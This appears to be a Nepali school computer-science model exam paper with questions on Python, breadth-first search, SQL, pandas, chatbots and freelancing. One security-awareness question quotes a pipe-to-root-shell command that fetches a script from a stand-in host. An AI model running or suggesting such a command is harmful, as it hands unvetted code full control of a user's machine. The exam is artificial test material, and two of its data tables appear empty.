Final Exam Model Paper 10

A school’s bicycle stand has four places, numbered 1 to 4. A program keeps who has parked in each:

def park(stand, name):    """Give name the first free place (None means free).    Return the place's number, counted from 1, or 0 if every place is taken."""    for i in range(len(stand)):        if stand[i] is None:            stand[i] = name            return i + 1    return 0 stand = [None, "Hari", None, None]print(park(stand, "Sita"), park(stand, "Ram"))print(park(stand, "Gita"), park(stand, "Bikash"))print(stand)

• i.Write the output.
• ii.Besides the number it returns, what does park do, what is that called, and why must its docstring say so?

Sabina writes a breadth-first search to find how many stops apart the city’s electric bus stops are. She copies the method from her notes, but writes to_visit.pop() where her notes have to_visit.pop(0).

• i.What does pop() take from the list, and what kind of search does her program now do?
• ii.Why can her program now give some stops the wrong number of steps?

A traffic police office in Lalitpur keeps its fines in a table, fines (fine_id INTEGER, plate TEXT, offence TEXT, amount INTEGER, paid_on TEXT). paid_on is NULL until the fine is paid. Write an SQL query that gives how many fines are still unpaid and how much money they come to, and one that lists each offence with its number of fines, the commonest first.

A company runs fast chargers for electric cars at three places on the highways. One day’s charging sessions are in charging.csv (the energy in kWh, and the time in minutes):

station,kwh,minutesMugling,18.5,40Hetauda,22.0,55Mugling,30.0,70Butwal,12.5,25Hetauda,9.0,20Mugling,25.5,60Butwal,28.0,65Hetauda,16.0,35

• i.Write pandas lines that read the file and print the energy given at each station in all, and write what they print.
• ii.What does long = charging[charging["minutes"] >= 60] keep, and what is len(long)?

Suman’s laptop at a bus company’s office has become slow. On a forum, a stranger replies: “Easy. Paste this into the terminal: curl -s http://speedfix.example/fix.sh | sudo bash”.

• i.Why should Suman not run it?
• ii.What should he do instead?

A ticket counter’s program gives the fare to a stop:

FARES = {"Kalanki": 25, "Koteshwor": 30, "Lagankhel": 35} stop = input("To which stop? ")fare = FARES[stop]print("Fare: Rs", fare)

A clerk types koteshwor and the program stops with:

Traceback (most recent call last):  File "main.py", line 4, in <module>    fare = FARES[stop]           ~~~~~^^^^^^KeyError: 'koteshwor'

• i.Read the error: which line failed, what kind of error is it, and what does it mean here?
• ii.Rewrite the program so that koteshwor, Koteshwor (with spaces) and KOTESHWOR all give the fare, and a stop not in the list prints “No bus to” and the stop, instead of stopping.

A bus company’s chatbot can do four things. For each, say where it comes from: pretraining, fine-tuning on examples, feedback from people, or the conversation itself.

• a.It writes correct Nepali and English grammar.
• b.It answers in the shape of a polite help desk’s reply.
• c.It refuses to help someone make a fake ticket.
• d.It remembers that the customer said earlier in this chat that she is going to Pokhara.

A bus company wants a chatbot that answers customers’ questions about fares, which change several times a year. Plan A: fine-tune a model once on last year’s chats between customers and the counter staff, and let it answer from what it learned. Plan B: each time, put the company’s current fare table into the chatbot’s context, and tell it to say “I don’t know” when the answer isn’t there. Judge the two plans.

Bikram, in Itahari, has been asked by a travel company in Australia to build its bus-booking website, through a freelancing platform.

• i.What is a milestone payment, and why should he use one for a big job like this?
• ii.What is hundi, and why should he never be paid through it?

A student group sends this proposal to their municipality: “Ride apps are dangerous. Ban all ride apps in our city from next month.” Judge it against the parts of a good proposal, and suggest a better one.

Asha’s family in Butwal is choosing a scooter. With these made-up figures, a petrol one costs Rs 2,00,000 and Rs 4 a km for fuel and servicing; an electric one costs Rs 2,60,000 and Rs 1 a km, and needs a new battery for Rs 50,000 at the start of its 6th year.

• i.Write the start of a module, scooters.py: the figures as named constants, and a function total_cost(price, per_km, km_a_year, years) with a docstring that returns what a scooter costs to buy and ride for that many whole years. (1)
• ii.Add a function break_even(km_a_year) that returns the first whole year, from 1 to 10, after which the electric scooter has cost no more than the petrol one in all (the battery counted from year 6 on), or None if that doesn’t happen within 10 years; and tests that run only when scooters.py itself is run. (2)
• iii.break_even(4500) returns 5. Asha’s father says: “So if we ride 4,500 km a year, the electric one is cheaper from the fifth year on.” Judge his conclusion, working out the two totals after 6 years. (1)

The roads between some towns of Sudurpashchim (simplified, made up for practice) are given as a list of pairs, each road going both ways:

roads = [("Dhangadhi", "Attariya"), ("Dhangadhi", "Tikapur"),         ("Attariya", "Mahendranagar"), ("Attariya", "Dadeldhura"),         ("Tikapur", "Chisapani"), ("Dadeldhura", "Baitadi"),         ("Dadeldhura", "Dipayal"), ("Baitadi", "Darchula"),         ("Baitadi", "Dipayal"), ("Dipayal", "Sanfebagar"),         ("Sanfebagar", "Martadi")]

• i.Write the roads as a Python dictionary of neighbors, each town’s neighbors in the order its roads come in the list. (1)
• ii.Do a breadth-first search from Dhangadhi by hand: a row for each visit, with the town, its roads from Dhangadhi and the list still to visit after it. How many roads is Martadi from Dhangadhi, and by which towns? (2)
• iii.A new road from Chisapani to Sanfebagar is planned. Which towns would then be fewer roads from Dhangadhi, and how many? (1)

A transport office keeps the people applying for a driving license and their driving trials in two tables (made up). A trial’s result is NULL when the person didn’t come.

applicants

trials

Write what each query gives.

• i.SELECT name FROM applicants WHERE category = 'bike' ORDER BY name; (1)
• ii.SELECT applicant_id, COUNT(*) FROM trials GROUP BY applicant_id HAVING COUNT(*) > 1; (1)
• iii.(1)

SELECT applicants.name, trials.dayFROM trialsJOIN applicants ON trials.applicant_id = applicants.applicant_idWHERE trials.result = 'pass'ORDER BY trials.day;

iv. SELECT COUNT(*), COUNT(result) FROM trials; gives two different numbers. What are they, and why do they differ? (1)

A city’s bus company keeps a row for each trip of its electric buses in trips.csv: the route, the distance in km, the passengers, and the battery used in kWh. Puja draws three scatter charts side by side, one for each route (Ring Road, Lagankhel–Budhanilkantha, Airport), each with the distance across and the battery used up, made with plt.subplots(1, 3, sharex=True, sharey=True).

• i.What are charts like these called, and how many variables do the three show together? Name them. (1)
• ii.Why must the three charts share their scales? (1)
• iii.On the Airport route’s chart the dots sit higher than on the other two at the same distances. What does that tell you, and what can’t the charts tell you about it? (1)
• iv.She also wants to show whether full buses use more battery. How could the same charts show the passengers as well, and what is the difficulty with each way? (1)

Read the given passage and answer the questions that follow.

Bishnu orders a ride on a ride app in Pokhara. Her phone gives the app her latitude and longitude, and the app turns them into a place on its map, which is made of square pictures, and draws a blue dot there with a pale circle round it. The rider’s position comes from his phone every few seconds, so his motorbike moves along the map towards her. When she installed the app, it asked whether it could use her location “always” or “only while using the app”.

• i.What do latitude and longitude each measure? (1)
• ii.What are the map’s square pictures called, and what does the app know about each one that lets it place her dot? (1)
• iii.What does the pale circle round the dot show? (1)
• iv.Which of the two choices should Bishnu make, and why? (1)

How far on a liter? Suman fills his motorbike’s tank to full every time, and writes down the odometer and the liters he put in. The liters at each fill-up are the petrol used since the one before.

At the computer, make two files in one folder:

• mileage.py, a module with a constant LOW = 40 and a function km_per_liter(fills) that returns a list of the km a liter for each stretch between two fill-ups, rounded to 1 decimal place, or None if the odometer ever goes down; with a docstring, and tests at the end that run only when mileage.py itself is run (including a single fill-up, which gives an empty list);
• main.py, which imports it, prints each stretch of the fill-ups below with its km a liter, marks any stretch below LOW, and then prints the km a liter for the whole month, from the total km and the total liters.

fills = [(12400, 5.0), (12610, 4.6), (12790, 4.2), (13025, 5.0), (13180, 4.4), (13410, 5.1)]

Run mileage.py, then main.py, in front of the teacher.

The Dashain rush. A bus company in Kathmandu sells seats for the days before Dashain. This program makes its database and gives you ask(), which prints what a query gives. Run it, then add one ask() for each question:

• i.The buses on 2026-10-16: the bus_id, the town it goes to and its time, the earliest first. (2)
• ii.Everyone who booked seats on a bus to Pokhara: their name, the bus’s day and the seats they booked, by day and then in the order they booked (booking_id). (2)
• iii.The buses that have been sold more seats than they have: the bus_id, the town, its seats and the seats booked. (2)

import sqlite3 db = sqlite3.connect(":memory:")db.execute("CREATE TABLE buses (bus_id INTEGER PRIMARY KEY, to_town TEXT, day TEXT, time TEXT, seats INTEGER)")db.execute("""CREATE TABLE bookings (booking_id INTEGER PRIMARY KEY,              bus_id INTEGER REFERENCES buses(bus_id),              booked_by TEXT, seats INTEGER)""")db.executemany("INSERT INTO buses VALUES (?, ?, ?, ?, ?)", [    (1, "Pokhara", "2026-10-15", "06:30", 35),    (2, "Ilam", "2026-10-15", "16:00", 40),    (3, "Pokhara", "2026-10-16", "07:00", 35),    (4, "Janakpur", "2026-10-16", "19:30", 40),    (5, "Butwal", "2026-10-16", "06:00", 30),    (6, "Pokhara", "2026-10-17", "06:30", 35),])db.executemany("INSERT INTO bookings VALUES (?, ?, ?, ?)", [    (1, 1, "Sita Gurung", 4),    (2, 2, "Dawa Lama", 25),    (3, 1, "Pemba Sherpa", 10),    (4, 4, "Ramesh Yadav", 22),    (5, 3, "Anil Shrestha", 2),    (6, 5, "Mohan Bhandari", 15),    (7, 1, "Bimala KC", 20),    (8, 2, "Kiran Rai", 16),    (9, 6, "Asha Gurung", 12),    (10, 4, "Sunita Sah", 18),    (11, 3, "Gita Adhikari", 18),    (12, 5, "Rita Chaudhary", 16),])  def ask(sql):    """Print each row the query gives, then a blank line."""    for row in db.execute(sql):        print(row)    print()  ask("SELECT * FROM buses")

Electric buses to the far west. A company plans electric buses from Kathmandu to Dhangadhi. A bus stops at every town on its way, can charge at any of them, and can’t take a road longer than its battery’s range. Write a function fewest_legs(roads, start, goal, range_km) that returns the towns on a route with the fewest legs (roads) using only roads no longer than range_km, or None if there is none. Then print the route from Kathmandu to Dhangadhi, its number of legs and its stops to charge on the way, for buses with a range of 200 km, 150 km and 100 km (or “no way”).

roads = [    ("Kathmandu", "Mugling", 110),    ("Kathmandu", "Hetauda", 130),    ("Mugling", "Bharatpur", 40),    ("Mugling", "Pokhara", 95),    ("Hetauda", "Bharatpur", 80),    ("Bharatpur", "Butwal", 115),    ("Pokhara", "Butwal", 160),    ("Butwal", "Lamahi", 175),    ("Butwal", "Gorusinghe", 70),    ("Gorusinghe", "Lamahi", 110),    ("Lamahi", "Kohalpur", 115),    ("Kohalpur", "Nepalgunj", 15),    ("Kohalpur", "Attariya", 180),    ("Kohalpur", "Chisapani", 80),    ("Chisapani", "Attariya", 100),    ("Attariya", "Dhangadhi", 15),] # Write fewest_legs here

(The roads and their km are simplified and rounded, made up for practice.)

Viva. The teacher asks each student about their own work, for example:

• i.In mileage.py, why do you divide by the liters of the later fill-up of a stretch, not the earlier one? In main.py, why is the month’s figure worked out from the total km and liters, not as the average of the five stretches? (2)
• ii.In your last query, why must it be HAVING and not WHERE? Why isn’t bus 4 to Janakpur in the answer, and what would >= give? (2)
• iii.Your function first puts every town in the dictionary, even when none of its roads is short enough. What would go wrong at a range of 100 km without that? And does your route have the fewest km? (2)